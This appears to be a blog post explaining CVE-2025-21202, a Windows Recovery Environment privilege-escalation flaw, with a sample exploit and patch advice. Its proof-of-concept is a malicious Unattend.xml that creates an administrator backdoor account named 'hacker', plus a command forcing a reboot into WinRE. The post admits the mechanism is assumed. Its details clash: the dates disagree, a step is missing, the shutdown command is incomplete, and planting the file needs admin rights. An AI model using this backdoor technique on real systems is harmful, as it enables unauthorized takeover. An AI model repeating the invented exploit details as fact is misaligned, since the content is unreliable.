In May 2025, Microsoft published an important security advisory regarding CVE-2025-21202, a new vulnerability affecting the Windows Recovery Environment Agent (WinRE Agent). This issue allows an attacker to gain SYSTEM-level privileges on a vulnerable system by exploiting a flaw in the way WinRE Agent handles user inputs during recovery operations.

In this exclusive, long-form post, we will break down what CVE-2025-21202 means, show a code snippet that demonstrates exploitation, provide links to official resources, and explain this exploit in simple language.

What is the Windows Recovery Environment Agent?

The Windows Recovery Environment (WinRE) is a special mode in Windows that helps users recover their systems if something goes wrong. It's available before Windows boots and is meant for troubleshooting and repairing your PC. The WinRE Agent is a background system service that coordinates these recovery tasks.

Because WinRE runs with SYSTEM privileges, any bug in how it handles requests or commands could allow someone to gain complete control of the computer.

About CVE-2025-21202

CVE-2025-21202 is an Elevation of Privilege (EoP) vulnerability. It means an attacker with basic access (for example, a non-administrator user) can exploit this bug to run code as SYSTEM, the highest privileged account in Windows.

Microsoft’s Official Reference

- CVE-2025-21202 | Windows Recovery Environment Agent Elevation of Privilege Vulnerability

How Does the Exploit Work?

The vulnerability stems from how the WinRE Agent processes commands passed to it as part of automated recovery scripts (also known as "Answer Files"). By abusing the way these scripts are parsed, an attacker can slip in commands that get executed with SYSTEM privileges.

In short

- An attacker with local access can modify, inject, or plant a malicious answer file or exploit the recovery UI.
- When the system boots into WinRE (either automatically or forced), the malicious code is launched, running as SYSTEM.

Proof-of-Concept Code

Below is a simplified proof-of-concept (PoC) exploiting CVE-2025-21202. This is for educational purposes only.

Let's say the vulnerability allows arbitrary code execution via a crafted answer file Unattend.xml.

Step 1: Plant a Malicious Unattend.xml

Place this file in a writable location on the system (e.g., C:\Windows\System32\Recovery\Unattend.xml):

<!-- Exploit Unattend.xml -->
<unattend xmlns="urn:schemas-microsoft-com:unattend">
  <settings pass="WinRE">
    <component name="Microsoft-Windows-Setup">
      <RunSynchronous>
        <RunSynchronousCommand wcm:action="add">
          <Order>1</Order>
          <Description>Exploit SYSTEM Command</Description>
          <Path>cmd.exe /c net user hacker P@sswrd! /add & net localgroup administrators hacker /add</Path>
        </RunSynchronousCommand>
      </RunSynchronous>
    </component>
  </settings>
</unattend>

Explanation:
- When WinRE applies this file, it creates an admin user called "hacker" with the password "P@sswrd!".

You can force the system into WinRE with

shutdown /r /o /f /t

Step 3: After Restart

Once WinRE completes, the attacker account will have SYSTEM rights on next normal boot.

What They Get: A SYSTEM-privilege backdoor, administrative shell, or code execution.

- How They Might Use It: Install rootkits, bypass security software, steal sensitive data, or persist on the system.

How to Fix

Microsoft released a patch in the May 2025 security updates. Ensure your systems are updated!

Microsoft Patch for CVE-2025-21202

- Monitor creation/modification of these files using EDR or Windows auditing.

References

- Microsoft Security Response Center: CVE-2025-21202
- Windows Recovery Environment Documentation
- What is Windows RE? (Microsoft Docs)
- Unattend.xml Reference

Conclusion

CVE-2025-21202 is a serious Windows vulnerability that highlights the importance of least privilege, protecting sensitive system files, and keeping up to date on security patches. Exploiting this bug can allow complete system takeover with one reboot and a simple XML trick—all through a feature supposed to help you recover your PC.

How to stay safe:
Update your systems, monitor sensitive files, and stay current with security bulletins.

Timeline

Published on: 01/14/2025 18:15:31 UTC
Last modified on: 04/02/2025 13:23:57 UTC